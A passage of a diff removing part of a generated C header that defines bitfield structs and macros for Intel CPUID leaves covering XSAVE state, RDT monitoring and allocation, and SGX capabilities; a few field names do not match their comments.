0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } ebx; - - union - { - struct - { - /** - * [Bits 7:0] Used for XCR0. - */ - uint32_t used_for_xcr0_1 : 8; -#define CPUID_ECX_USED_FOR_XCR0_1_BIT 0 -#define CPUID_ECX_USED_FOR_XCR0_1_FLAG 0xFF -#define CPUID_ECX_USED_FOR_XCR0_1_MASK 0xFF -#define CPUID_ECX_USED_FOR_XCR0_1(_) (((_) >> 0) & 0xFF) - - /** - * [Bit 8] PT state. - */ - uint32_t pt_state : 1; -#define CPUID_ECX_PT_STATE_BIT 8 -#define CPUID_ECX_PT_STATE_FLAG 0x100 -#define CPUID_ECX_PT_STATE_MASK 0x01 -#define CPUID_ECX_PT_STATE(_) (((_) >> 8) & 0x01) - - /** - * [Bit 9] Used for XCR0. - */ - uint32_t used_for_xcr0_2 : 1; -#define CPUID_ECX_USED_FOR_XCR0_2_BIT 9 -#define CPUID_ECX_USED_FOR_XCR0_2_FLAG 0x200 -#define CPUID_ECX_USED_FOR_XCR0_2_MASK 0x01 -#define CPUID_ECX_USED_FOR_XCR0_2(_) (((_) >> 9) & 0x01) - uint32_t reserved1 : 3; - - /** - * [Bit 13] HWP state. - */ - uint32_t hwp_state : 1; -#define CPUID_ECX_HWP_STATE_BIT 13 -#define CPUID_ECX_HWP_STATE_FLAG 0x2000 -#define CPUID_ECX_HWP_STATE_MASK 0x01 -#define CPUID_ECX_HWP_STATE(_) (((_) >> 13) & 0x01) - uint32_t reserved2 : 18; - }; - - uint32_t flags; - } ecx; - - union - { - struct - { - /** - * [Bits 31:0] EDX is reserved. - */ - uint32_t reserved : 32; -#define CPUID_EDX_RESERVED_BIT 0 -#define CPUID_EDX_RESERVED_FLAG 0xFFFFFFFF -#define CPUID_EDX_RESERVED_MASK 0xFFFFFFFF -#define CPUID_EDX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } edx; - -} cpuid_eax_0d_ecx_01; - -/** - * @brief Processor Extended State Enumeration Sub-leaves (EAX = 0DH, ECX = n, n > 1) - * - * @note Leaf 0DH output depends on the initial value in ECX. Each sub-leaf index (starting at position 2) is supported if - * it corresponds to a supported bit in either the XCR0 register or the IA32_XSS MSR. - * If ECX contains an invalid sub-leaf index, EAX/EBX/ECX/EDX return 0. Sub-leaf n (0 <= n <= 31) is invalid if sub-leaf 0 - * returns 0 in EAX[n] and sub-leaf 1 returns 0 in ECX[n]. Sub-leaf n (32 <= n <= 63) is invalid if sub-leaf 0 returns 0 in - * EDX[n-32] and sub-leaf 1 returns 0 in EDX[n-32]. - */ -typedef struct -{ - union - { - struct - { - /** - * [Bits 31:0] The size in bytes (from the offset specified in EBX) of the save area for an extended state feature - * associated with a valid sub-leaf index, n. - */ - uint32_t ia32_platform_dca_cap : 32; -#define CPUID_EAX_IA32_PLATFORM_DCA_CAP_BIT 0 -#define CPUID_EAX_IA32_PLATFORM_DCA_CAP_FLAG 0xFFFFFFFF -#define CPUID_EAX_IA32_PLATFORM_DCA_CAP_MASK 0xFFFFFFFF -#define CPUID_EAX_IA32_PLATFORM_DCA_CAP(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } eax; - - union - { - struct - { - /** - * [Bits 31:0] The offset in bytes of this extended state component's save area from the beginning of the XSAVE/XRSTOR - * area. - * This field reports 0 if the sub-leaf index, n, does not map to a valid bit in the XCR0 register. - */ - uint32_t reserved : 32; -#define CPUID_EBX_RESERVED_BIT 0 -#define CPUID_EBX_RESERVED_FLAG 0xFFFFFFFF -#define CPUID_EBX_RESERVED_MASK 0xFFFFFFFF -#define CPUID_EBX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } ebx; - - union - { - struct - { - /** - * [Bit 0] Is set if the bit n (corresponding to the sub-leaf index) is supported in the IA32_XSS MSR; it is clear if bit n - * is instead supported in XCR0. - */ - uint32_t ecx_2 : 1; -#define CPUID_ECX_ECX_2_BIT 0 -#define CPUID_ECX_ECX_2_FLAG 0x01 -#define CPUID_ECX_ECX_2_MASK 0x01 -#define CPUID_ECX_ECX_2(_) (((_) >> 0) & 0x01) - - /** - * [Bit 1] Is set if, when the compacted format of an XSAVE area is used, this extended state component located on the next - * 64-byte boundary following the preceding state component (otherwise, it is located immediately following the preceding - * state component). - */ - uint32_t ecx_1 : 1; -#define CPUID_ECX_ECX_1_BIT 1 -#define CPUID_ECX_ECX_1_FLAG 0x02 -#define CPUID_ECX_ECX_1_MASK 0x01 -#define CPUID_ECX_ECX_1(_) (((_) >> 1) & 0x01) - uint32_t reserved1 : 30; - }; - - uint32_t flags; - } ecx; - - union - { - struct - { - /** - * [Bits 31:0] This field reports 0 if the sub-leaf index, n, is invalid; otherwise it is reserved. - */ - uint32_t reserved : 32; -#define CPUID_EDX_RESERVED_BIT 0 -#define CPUID_EDX_RESERVED_FLAG 0xFFFFFFFF -#define CPUID_EDX_RESERVED_MASK 0xFFFFFFFF -#define CPUID_EDX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } edx; - -} cpuid_eax_0d_ecx_n; - -/** - * @} - */ - - /** - * @defgroup cpuid_eax_0f \ - * EAX = 0x0F - * - * When CPUID executes with EAX set to 0FH and ECX = 0, the processor returns information about the bit-vector - * representation of QoS monitoring resource types that are supported in the processor and maximum range of RMID values the - * processor can use to monitor of any supported resource types. Each bit, starting from bit 1, corresponds to a specific - * resource type if the bit is set. The bit position corresponds to the sub-leaf index (or ResID) that software must use to - * query QoS monitoring capability available for that type. See Table 3-8. - * When CPUID executes with EAX set to 0FH and ECX = n (n >= 1, and is a valid ResID), the processor returns information - * software can use to program IA32_PQR_ASSOC, IA32_QM_EVTSEL MSRs before reading QoS data from the IA32_QM_CTR MSR. - * @{ - */ -#define CPUID_INTEL_RESOURCE_DIRECTOR_TECHNOLOGY_MONITORING_INFORMATION 0x0000000F - /** - * @brief Intel Resource Director Technology (Intel RDT) Monitoring Enumeration Sub-leaf (EAX = 0FH, ECX = 0) - * - * @note Leaf 0FH output depends on the initial value in ECX. Sub-leaf index 0 reports valid resource type starting at bit - * position 1 of EDX. - */ -typedef struct -{ - union - { - struct - { - /** - * [Bits 31:0] EAX is reserved. - */ - uint32_t reserved : 32; -#define CPUID_EAX_RESERVED_BIT 0 -#define CPUID_EAX_RESERVED_FLAG 0xFFFFFFFF -#define CPUID_EAX_RESERVED_MASK 0xFFFFFFFF -#define CPUID_EAX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } eax; - - union - { - struct - { - /** - * [Bits 31:0] Maximum range (zero-based) of RMID within this physical processor of all types. - */ - uint32_t rmid_max_range : 32; -#define CPUID_EBX_RMID_MAX_RANGE_BIT 0 -#define CPUID_EBX_RMID_MAX_RANGE_FLAG 0xFFFFFFFF -#define CPUID_EBX_RMID_MAX_RANGE_MASK 0xFFFFFFFF -#define CPUID_EBX_RMID_MAX_RANGE(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } ebx; - - union - { - struct - { - /** - * [Bits 31:0] ECX is reserved. - */ - uint32_t reserved : 32; -#define CPUID_ECX_RESERVED_BIT 0 -#define CPUID_ECX_RESERVED_FLAG 0xFFFFFFFF -#define CPUID_ECX_RESERVED_MASK 0xFFFFFFFF -#define CPUID_ECX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } ecx; - - union - { - struct - { - uint32_t reserved1 : 1; - - /** - * [Bit 1] Supports L3 Cache Intel RDT Monitoring if 1. - */ - uint32_t supports_l3_cache_intel_rdt_monitoring : 1; -#define CPUID_EDX_SUPPORTS_L3_CACHE_INTEL_RDT_MONITORING_BIT 1 -#define CPUID_EDX_SUPPORTS_L3_CACHE_INTEL_RDT_MONITORING_FLAG 0x02 -#define CPUID_EDX_SUPPORTS_L3_CACHE_INTEL_RDT_MONITORING_MASK 0x01 -#define CPUID_EDX_SUPPORTS_L3_CACHE_INTEL_RDT_MONITORING(_) (((_) >> 1) & 0x01) - uint32_t reserved2 : 30; - }; - - uint32_t flags; - } edx; - -} cpuid_eax_0f_ecx_00; - -/** - * @brief L3 Cache Intel RDT Monitoring Capability Enumeration Sub-leaf (EAX = 0FH, ECX = 1) - * - * @note Leaf 0FH output depends on the initial value in ECX. - */ -typedef struct -{ - union - { - struct - { - /** - * [Bits 31:0] EAX is reserved. - */ - uint32_t reserved : 32; -#define CPUID_EAX_RESERVED_BIT 0 -#define CPUID_EAX_RESERVED_FLAG 0xFFFFFFFF -#define CPUID_EAX_RESERVED_MASK 0xFFFFFFFF -#define CPUID_EAX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } eax; - - union - { - struct - { - /** - * [Bits 31:0] Conversion factor from reported IA32_QM_CTR value to occupancy metric (bytes). - */ - uint32_t conversion_factor : 32; -#define CPUID_EBX_CONVERSION_FACTOR_BIT 0 -#define CPUID_EBX_CONVERSION_FACTOR_FLAG 0xFFFFFFFF -#define CPUID_EBX_CONVERSION_FACTOR_MASK 0xFFFFFFFF -#define CPUID_EBX_CONVERSION_FACTOR(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } ebx; - - union - { - struct - { - /** - * [Bits 31:0] Maximum range (zero-based) of RMID within this physical processor of all types. - */ - uint32_t rmid_max_range : 32; -#define CPUID_ECX_RMID_MAX_RANGE_BIT 0 -#define CPUID_ECX_RMID_MAX_RANGE_FLAG 0xFFFFFFFF -#define CPUID_ECX_RMID_MAX_RANGE_MASK 0xFFFFFFFF -#define CPUID_ECX_RMID_MAX_RANGE(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } ecx; - - union - { - struct - { - /** - * [Bit 0] Supports L3 occupancy monitoring if 1. - */ - uint32_t supports_l3_occupancy_monitoring : 1; -#define CPUID_EDX_SUPPORTS_L3_OCCUPANCY_MONITORING_BIT 0 -#define CPUID_EDX_SUPPORTS_L3_OCCUPANCY_MONITORING_FLAG 0x01 -#define CPUID_EDX_SUPPORTS_L3_OCCUPANCY_MONITORING_MASK 0x01 -#define CPUID_EDX_SUPPORTS_L3_OCCUPANCY_MONITORING(_) (((_) >> 0) & 0x01) - - /** - * [Bit 1] Supports L3 Total Bandwidth monitoring if 1. - */ - uint32_t supports_l3_total_bandwidth_monitoring : 1; -#define CPUID_EDX_SUPPORTS_L3_TOTAL_BANDWIDTH_MONITORING_BIT 1 -#define CPUID_EDX_SUPPORTS_L3_TOTAL_BANDWIDTH_MONITORING_FLAG 0x02 -#define CPUID_EDX_SUPPORTS_L3_TOTAL_BANDWIDTH_MONITORING_MASK 0x01 -#define CPUID_EDX_SUPPORTS_L3_TOTAL_BANDWIDTH_MONITORING(_) (((_) >> 1) & 0x01) - - /** - * [Bit 2] Supports L3 Local Bandwidth monitoring if 1. - */ - uint32_t supports_l3_local_bandwidth_monitoring : 1; -#define CPUID_EDX_SUPPORTS_L3_LOCAL_BANDWIDTH_MONITORING_BIT 2 -#define CPUID_EDX_SUPPORTS_L3_LOCAL_BANDWIDTH_MONITORING_FLAG 0x04 -#define CPUID_EDX_SUPPORTS_L3_LOCAL_BANDWIDTH_MONITORING_MASK 0x01 -#define CPUID_EDX_SUPPORTS_L3_LOCAL_BANDWIDTH_MONITORING(_) (((_) >> 2) & 0x01) - uint32_t reserved1 : 29; - }; - - uint32_t flags; - } edx; - -} cpuid_eax_0f_ecx_01; - -/** - * @} - */ - - /** - * @defgroup cpuid_eax_10 \ - * EAX = 0x10 - * - * When CPUID executes with EAX set to 10H and ECX = 0, the processor returns information about the bit-vector - * representation of QoS Enforcement resource types that are supported in the processor. Each bit, starting from bit 1, - * corresponds to a specific resource type if the bit is set. The bit position corresponds to the sub-leaf index (or ResID) - * that software must use to query QoS enforcement capability available for that type. - * When CPUID executes with EAX set to 10H and ECX = n (n >= 1, and is a valid ResID), the processor returns information - * about available classes of service and range of QoS mask MSRs that software can use to configure each class of services - * using capability bit masks in the QoS Mask registers, IA32_resourceType_Mask_n. - * @{ - */ -#define CPUID_INTEL_RESOURCE_DIRECTOR_TECHNOLOGY_ALLOCATION_INFORMATION 0x00000010 - /** - * @brief Intel Resource Director Technology (Intel RDT) Allocation Enumeration Sub-leaf (EAX = 10H, ECX = 0) - * - * @note Leaf 10H output depends on the initial value in ECX. Sub-leaf index 0 reports valid resource identification - * (ResID) starting at bit position 1 of EBX. - */ -typedef struct -{ - union - { - struct - { - /** - * [Bits 31:0] Value of bits [31:0] of IA32_PLATFORM_DCA_CAP MSR (address 1F8H). - */ - uint32_t ia32_platform_dca_cap : 32; -#define CPUID_EAX_IA32_PLATFORM_DCA_CAP_BIT 0 -#define CPUID_EAX_IA32_PLATFORM_DCA_CAP_FLAG 0xFFFFFFFF -#define CPUID_EAX_IA32_PLATFORM_DCA_CAP_MASK 0xFFFFFFFF -#define CPUID_EAX_IA32_PLATFORM_DCA_CAP(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } eax; - - union - { - struct - { - uint32_t reserved1 : 1; - - /** - * [Bit 1] Supports L3 Cache Allocation Technology if 1. - */ - uint32_t supports_l3_cache_allocation_technology : 1; -#define CPUID_EBX_SUPPORTS_L3_CACHE_ALLOCATION_TECHNOLOGY_BIT 1 -#define CPUID_EBX_SUPPORTS_L3_CACHE_ALLOCATION_TECHNOLOGY_FLAG 0x02 -#define CPUID_EBX_SUPPORTS_L3_CACHE_ALLOCATION_TECHNOLOGY_MASK 0x01 -#define CPUID_EBX_SUPPORTS_L3_CACHE_ALLOCATION_TECHNOLOGY(_) (((_) >> 1) & 0x01) - - /** - * [Bit 2] Supports L2 Cache Allocation Technology if 1. - */ - uint32_t supports_l2_cache_allocation_technology : 1; -#define CPUID_EBX_SUPPORTS_L2_CACHE_ALLOCATION_TECHNOLOGY_BIT 2 -#define CPUID_EBX_SUPPORTS_L2_CACHE_ALLOCATION_TECHNOLOGY_FLAG 0x04 -#define CPUID_EBX_SUPPORTS_L2_CACHE_ALLOCATION_TECHNOLOGY_MASK 0x01 -#define CPUID_EBX_SUPPORTS_L2_CACHE_ALLOCATION_TECHNOLOGY(_) (((_) >> 2) & 0x01) - - /** - * [Bit 3] Supports Memory Bandwidth Allocation if 1. - */ - uint32_t supports_memory_bandwidth_allocation : 1; -#define CPUID_EBX_SUPPORTS_MEMORY_BANDWIDTH_ALLOCATION_BIT 3 -#define CPUID_EBX_SUPPORTS_MEMORY_BANDWIDTH_ALLOCATION_FLAG 0x08 -#define CPUID_EBX_SUPPORTS_MEMORY_BANDWIDTH_ALLOCATION_MASK 0x01 -#define CPUID_EBX_SUPPORTS_MEMORY_BANDWIDTH_ALLOCATION(_) (((_) >> 3) & 0x01) - uint32_t reserved2 : 28; - }; - - uint32_t flags; - } ebx; - - union - { - struct - { - /** - * [Bits 31:0] ECX is reserved. - */ - uint32_t reserved : 32; -#define CPUID_ECX_RESERVED_BIT 0 -#define CPUID_ECX_RESERVED_FLAG 0xFFFFFFFF -#define CPUID_ECX_RESERVED_MASK 0xFFFFFFFF -#define CPUID_ECX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } ecx; - - union - { - struct - { - /** - * [Bits 31:0] EDX is reserved. - */ - uint32_t reserved : 32; -#define CPUID_EDX_RESERVED_BIT 0 -#define CPUID_EDX_RESERVED_FLAG 0xFFFFFFFF -#define CPUID_EDX_RESERVED_MASK 0xFFFFFFFF -#define CPUID_EDX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } edx; - -} cpuid_eax_10_ecx_00; - -/** - * @brief L3 Cache Allocation Technology Enumeration Sub-leaf (EAX = 10H, ECX = ResID = 1) - * - * @note Leaf 10H output depends on the initial value in ECX. - */ -typedef struct -{ - union - { - struct - { - /** - * [Bits 4:0] Length of the capacity bit mask for the corresponding ResID using minus-one notation. - */ - uint32_t length_of_capacity_bit_mask : 5; -#define CPUID_EAX_LENGTH_OF_CAPACITY_BIT_MASK_BIT 0 -#define CPUID_EAX_LENGTH_OF_CAPACITY_BIT_MASK_FLAG 0x1F -#define CPUID_EAX_LENGTH_OF_CAPACITY_BIT_MASK_MASK 0x1F -#define CPUID_EAX_LENGTH_OF_CAPACITY_BIT_MASK(_) (((_) >> 0) & 0x1F) - uint32_t reserved1 : 27; - }; - - uint32_t flags; - } eax; - - union - { - struct - { - /** - * [Bits 31:0] Bit-granular map of isolation/contention of allocation units. - */ - uint32_t ebx_0 : 32; -#define CPUID_EBX_EBX_0_BIT 0 -#define CPUID_EBX_EBX_0_FLAG 0xFFFFFFFF -#define CPUID_EBX_EBX_0_MASK 0xFFFFFFFF -#define CPUID_EBX_EBX_0(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } ebx; - - union - { - struct - { - uint32_t reserved1 : 2; - - /** - * [Bit 2] Code and Data Prioritization Technology supported if 1. - */ - uint32_t code_and_data_priorization_technology_supported : 1; -#define CPUID_ECX_CODE_AND_DATA_PRIORIZATION_TECHNOLOGY_SUPPORTED_BIT 2 -#define CPUID_ECX_CODE_AND_DATA_PRIORIZATION_TECHNOLOGY_SUPPORTED_FLAG 0x04 -#define CPUID_ECX_CODE_AND_DATA_PRIORIZATION_TECHNOLOGY_SUPPORTED_MASK 0x01 -#define CPUID_ECX_CODE_AND_DATA_PRIORIZATION_TECHNOLOGY_SUPPORTED(_) (((_) >> 2) & 0x01) - uint32_t reserved2 : 29; - }; - - uint32_t flags; - } ecx; - - union - { - struct - { - /** - * [Bits 15:0] Highest COS number supported for this ResID. - */ - uint32_t highest_cos_number_supported : 16; -#define CPUID_EDX_HIGHEST_COS_NUMBER_SUPPORTED_BIT 0 -#define CPUID_EDX_HIGHEST_COS_NUMBER_SUPPORTED_FLAG 0xFFFF -#define CPUID_EDX_HIGHEST_COS_NUMBER_SUPPORTED_MASK 0xFFFF -#define CPUID_EDX_HIGHEST_COS_NUMBER_SUPPORTED(_) (((_) >> 0) & 0xFFFF) - uint32_t reserved1 : 16; - }; - - uint32_t flags; - } edx; - -} cpuid_eax_10_ecx_01; - -/** - * @brief L2 Cache Allocation Technology Enumeration Sub-leaf (EAX = 10H, ECX = ResID = 2) - * - * @note Leaf 10H output depends on the initial value in ECX. - */ -typedef struct -{ - union - { - struct - { - /** - * [Bits 4:0] Length of the capacity bit mask for the corresponding ResID using minus-one notation. - */ - uint32_t length_of_capacity_bit_mask : 5; -#define CPUID_EAX_LENGTH_OF_CAPACITY_BIT_MASK_BIT 0 -#define CPUID_EAX_LENGTH_OF_CAPACITY_BIT_MASK_FLAG 0x1F -#define CPUID_EAX_LENGTH_OF_CAPACITY_BIT_MASK_MASK 0x1F -#define CPUID_EAX_LENGTH_OF_CAPACITY_BIT_MASK(_) (((_) >> 0) & 0x1F) - uint32_t reserved1 : 27; - }; - - uint32_t flags; - } eax; - - union - { - struct - { - /** - * [Bits 31:0] Bit-granular map of isolation/contention of allocation units. - */ - uint32_t ebx_0 : 32; -#define CPUID_EBX_EBX_0_BIT 0 -#define CPUID_EBX_EBX_0_FLAG 0xFFFFFFFF -#define CPUID_EBX_EBX_0_MASK 0xFFFFFFFF -#define CPUID_EBX_EBX_0(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } ebx; - - union - { - struct - { - /** - * [Bits 31:0] ECX is reserved. - */ - uint32_t reserved : 32; -#define CPUID_ECX_RESERVED_BIT 0 -#define CPUID_ECX_RESERVED_FLAG 0xFFFFFFFF -#define CPUID_ECX_RESERVED_MASK 0xFFFFFFFF -#define CPUID_ECX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } ecx; - - union - { - struct - { - /** - * [Bits 15:0] Highest COS number supported for this ResID. - */ - uint32_t highest_cos_number_supported : 16; -#define CPUID_EDX_HIGHEST_COS_NUMBER_SUPPORTED_BIT 0 -#define CPUID_EDX_HIGHEST_COS_NUMBER_SUPPORTED_FLAG 0xFFFF -#define CPUID_EDX_HIGHEST_COS_NUMBER_SUPPORTED_MASK 0xFFFF -#define CPUID_EDX_HIGHEST_COS_NUMBER_SUPPORTED(_) (((_) >> 0) & 0xFFFF) - uint32_t reserved1 : 16; - }; - - uint32_t flags; - } edx; - -} cpuid_eax_10_ecx_02; - -/** - * @brief Memory Bandwidth Allocation Enumeration Sub-leaf (EAX = 10H, ECX = ResID = 3) - * - * @note Leaf 10H output depends on the initial value in ECX. - */ -typedef struct -{ - union - { - struct - { - /** - * [Bits 11:0] Reports the maximum MBA throttling value supported for the corresponding ResID using minus-one notation. - */ - uint32_t max_mba_throttling_value : 12; -#define CPUID_EAX_MAX_MBA_THROTTLING_VALUE_BIT 0 -#define CPUID_EAX_MAX_MBA_THROTTLING_VALUE_FLAG 0xFFF -#define CPUID_EAX_MAX_MBA_THROTTLING_VALUE_MASK 0xFFF -#define CPUID_EAX_MAX_MBA_THROTTLING_VALUE(_) (((_) >> 0) & 0xFFF) - uint32_t reserved1 : 20; - }; - - uint32_t flags; - } eax; - - union - { - struct - { - /** - * [Bits 31:0] EBX is reserved. - */ - uint32_t reserved : 32; -#define CPUID_EBX_RESERVED_BIT 0 -#define CPUID_EBX_RESERVED_FLAG 0xFFFFFFFF -#define CPUID_EBX_RESERVED_MASK 0xFFFFFFFF -#define CPUID_EBX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } ebx; - - union - { - struct - { - uint32_t reserved1 : 2; - - /** - * [Bit 2] Reports whether the response of the delay values is linear. - */ - uint32_t response_of_delay_is_linear : 1; -#define CPUID_ECX_RESPONSE_OF_DELAY_IS_LINEAR_BIT 2 -#define CPUID_ECX_RESPONSE_OF_DELAY_IS_LINEAR_FLAG 0x04 -#define CPUID_ECX_RESPONSE_OF_DELAY_IS_LINEAR_MASK 0x01 -#define CPUID_ECX_RESPONSE_OF_DELAY_IS_LINEAR(_) (((_) >> 2) & 0x01) - uint32_t reserved2 : 29; - }; - - uint32_t flags; - } ecx; - - union - { - struct - { - /** - * [Bits 15:0] Highest COS number supported for this ResID. - */ - uint32_t highest_cos_number_supported : 16; -#define CPUID_EDX_HIGHEST_COS_NUMBER_SUPPORTED_BIT 0 -#define CPUID_EDX_HIGHEST_COS_NUMBER_SUPPORTED_FLAG 0xFFFF -#define CPUID_EDX_HIGHEST_COS_NUMBER_SUPPORTED_MASK 0xFFFF -#define CPUID_EDX_HIGHEST_COS_NUMBER_SUPPORTED(_) (((_) >> 0) & 0xFFFF) - uint32_t reserved1 : 16; - }; - - uint32_t flags; - } edx; - -} cpuid_eax_10_ecx_03; - -/** - * @} - */ - - /** - * @defgroup cpuid_eax_12 \ - * EAX = 0x12 - * - * When CPUID executes with EAX set to 12H and ECX = 0H, the processor returns information about Intel SGX capabilities. - * When CPUID executes with EAX set to 12H and ECX = 1H, the processor returns information about Intel SGX attributes. - * When CPUID executes with EAX set to 12H and ECX = n (n > 1), the processor returns information about Intel SGX Enclave - * Page Cache. - * @{ - */ -#define CPUID_INTEL_SGX 0x00000012 - /** - * @brief Intel SGX Capability Enumeration Leaf, sub-leaf 0 (EAX = 12H, ECX = 0) - * - * @note Leaf 12H sub-leaf 0 (ECX = 0) is supported if CPUID.(EAX=07H, ECX=0H):EBX[SGX] = 1. - */ -typedef struct -{ - union - { - struct - { - /** - * [Bit 0] If 1, Indicates Intel SGX supports the collection of SGX1 leaf functions. - */ - uint32_t sgx1 : 1; -#define CPUID_EAX_SGX1_BIT 0 -#define CPUID_EAX_SGX1_FLAG 0x01 -#define CPUID_EAX_SGX1_MASK 0x01 -#define CPUID_EAX_SGX1(_) (((_) >> 0) & 0x01) - - /** - * [Bit 1] If 1, Indicates Intel SGX supports the collection of SGX2 leaf functions. - */ - uint32_t sgx2 : 1; -#define CPUID_EAX_SGX2_BIT 1 -#define CPUID_EAX_SGX2_FLAG 0x02 -#define CPUID_EAX_SGX2_MASK 0x01 -#define CPUID_EAX_SGX2(_) (((_) >> 1) & 0x01) - uint32_t reserved1 : 3; - - /** - * [Bit 5] If 1, indicates Intel SGX supports ENCLV instruction leaves EINCVIRTCHILD, EDECVIRTCHILD, and ESETCONTEXT. - */ - uint32_t sgx_enclv_advanced : 1; -#define CPUID_EAX_SGX_ENCLV_ADVANCED_BIT 5 -#define CPUID_EAX_SGX_ENCLV_ADVANCED_FLAG 0x20 -#define CPUID_EAX_SGX_ENCLV_ADVANCED_MASK 0x01 -#define CPUID_EAX_SGX_ENCLV_ADVANCED(_) (((_) >> 5) & 0x01) - - /** - * [Bit 6] If 1, indicates Intel SGX supports ENCLS instruction leaves ETRACKC, ERDINFO, ELDBC, and ELDUC. - */ - uint32_t sgx_encls_advanced : 1; -#define CPUID_EAX_SGX_ENCLS_ADVANCED_BIT 6 -#define CPUID_EAX_SGX_ENCLS_ADVANCED_FLAG 0x40 -#define CPUID_EAX_SGX_ENCLS_ADVANCED_MASK 0x01 -#define CPUID_EAX_SGX_ENCLS_ADVANCED(_) (((_) >> 6) & 0x01) - uint32_t reserved2 : 25; - }; - - uint32_t flags; - } eax; - - union - { - struct - { - /** - * [Bits 31:0] Bit vector of supported extended SGX features. - */ - uint32_t miscselect : 32; -#define CPUID_EBX_MISCSELECT_BIT 0 -#define CPUID_EBX_MISCSELECT_FLAG 0xFFFFFFFF -#define CPUID_EBX_MISCSELECT_MASK 0xFFFFFFFF -#define CPUID_EBX_MISCSELECT(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } ebx; - - union - { - struct - { - /** - * [Bits 31:0] ECX is reserved. - */ - uint32_t reserved : 32; -#define CPUID_ECX_RESERVED_BIT 0 -#define CPUID_ECX_RESERVED_FLAG 0xFFFFFFFF -#define CPUID_ECX_RESERVED_MASK 0xFFFFFFFF -#define CPUID_ECX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } ecx; - - union - { - struct - { - /** - * [Bits 7:0] The maximum supported enclave size in non-64-bit mode is 2^(EDX[7:0]). - */ - uint32_t max_enclave_size_not64 : 8; -#define CPUID_EDX_MAX_ENCLAVE_SIZE_NOT64_BIT 0 -#define CPUID_EDX_MAX_ENCLAVE_SIZE_NOT64_FLAG 0xFF -#define CPUID_EDX_MAX_ENCLAVE_SIZE_NOT64_MASK 0xFF -#define CPUID_EDX_MAX_ENCLAVE_SIZE_NOT64(_) (((_) >> 0) & 0xFF) - - /** - * [Bits 15:8] The maximum supported enclave size in 64-bit mode is 2^(EDX[15:8]). - */ - uint32_t max_enclave_size_64 : 8; -#define CPUID_EDX_MAX_ENCLAVE_SIZE_64_BIT 8 -#define CPUID_EDX_MAX_ENCLAVE_SIZE_64_FLAG 0xFF00 -#define CPUID_EDX_MAX_ENCLAVE_SIZE_64_MASK 0xFF -#define CPUID_EDX_MAX_ENCLAVE_SIZE_64(_) (((_) >> 8) & 0xFF) - uint32_t reserved1 : 16; - }; - - uint32_t flags; - } edx; - -} cpuid_eax_12_ecx_00; - -/** - * @brief Intel SGX Attributes Enumeration Leaf, sub-leaf 1 (EAX = 12H, ECX = 1) - * - * @note Leaf 12H sub-leaf 1 (ECX = 1) is supported if CPUID.(EAX=07H, ECX=0H):EBX[SGX] = 1. - */ -typedef struct -{ - union - { - struct - { - /** - * [Bits 31:0] Reports the valid bits of SECS.ATTRIBUTES[31:0] that software can set with ECREATE. - */ - uint32_t valid_secs_attributes_0 : 32; -#define CPUID_EAX_VALID_SECS_ATTRIBUTES_0_BIT 0 -#define CPUID_EAX_VALID_SECS_ATTRIBUTES_0_FLAG 0xFFFFFFFF -#define CPUID_EAX_VALID_SECS_ATTRIBUTES_0_MASK 0xFFFFFFFF -#define CPUID_EAX_VALID_SECS_ATTRIBUTES_0(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } eax; - - union - { - struct - { - /** - * [Bits 31:0] Reports the valid bits of SECS.ATTRIBUTES[63:32] that software can set with ECREATE. - */ - uint32_t valid_secs_attributes_1 : 32; -#define CPUID_EBX_VALID_SECS_ATTRIBUTES_1_BIT 0 -#define CPUID_EBX_VALID_SECS_ATTRIBUTES_1_FLAG 0xFFFFFFFF -#define CPUID_EBX_VALID_SECS_ATTRIBUTES_1_MASK 0xFFFFFFFF -#define CPUID_EBX_VALID_SECS_ATTRIBUTES_1(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } ebx; - - union - { - struct - { - /** - * [Bits 31:0] Reports the valid bits of SECS.ATTRIBUTES[95:64] that software can set with ECREATE. - */ - uint32_t valid_secs_attributes_2 : 32; -#define CPUID_ECX_VALID_SECS_ATTRIBUTES_2_BIT 0 -#define CPUID_ECX_VALID_SECS_ATTRIBUTES_2_FLAG 0xFFFFFFFF -#define CPUID_ECX_VALID_SECS_ATTRIBUTES_2_MASK 0xFFFFFFFF -#define CPUID_ECX_VALID_SECS_ATTRIBUTES_2(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } ecx; - - union - { - struct - { - /** - * [Bits 31:0] Reports the valid bits of SECS.ATTRIBUTES[127:96] that software can set with ECREATE. - */ - uint32_t valid_secs_attributes_3 : 32; -#define CPUID_EDX_VALID_SECS_ATTRIBUTES_3_BIT 0 -#define CPUID_EDX_VALID_SECS_ATTRIBUTES_3_FLAG 0xFFFFFFFF -#define CPUID_EDX_VALID_SECS_ATTRIBUTES_3_MASK 0xFFFFFFFF -#define CPUID_EDX_VALID_SECS_ATTRIBUTES_3(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } edx; - -} cpuid_eax_12_ecx_01; - -/** - * @brief Intel SGX EPC Enumeration Leaf, 